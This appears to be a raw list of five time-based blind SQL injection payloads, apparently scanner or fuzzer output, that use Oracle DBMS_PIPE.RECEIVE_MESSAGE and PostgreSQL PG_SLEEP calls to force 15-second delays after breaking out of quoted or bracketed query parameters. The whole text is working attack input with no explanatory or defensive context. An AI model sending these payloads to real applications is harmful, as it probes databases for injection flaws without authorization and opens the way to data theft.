555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555CEwHbiv4')) OR 497=(SELECT 497 FROM PG_SLEEP(15))--
555aWMecFPJ') OR 687=(SELECT 687 FROM PG_SLEEP(15))--
555AC107h5X' OR 817=(SELECT 817 FROM PG_SLEEP(15))--
555-1)) OR 330=(SELECT 330 FROM PG_SLEEP(15))--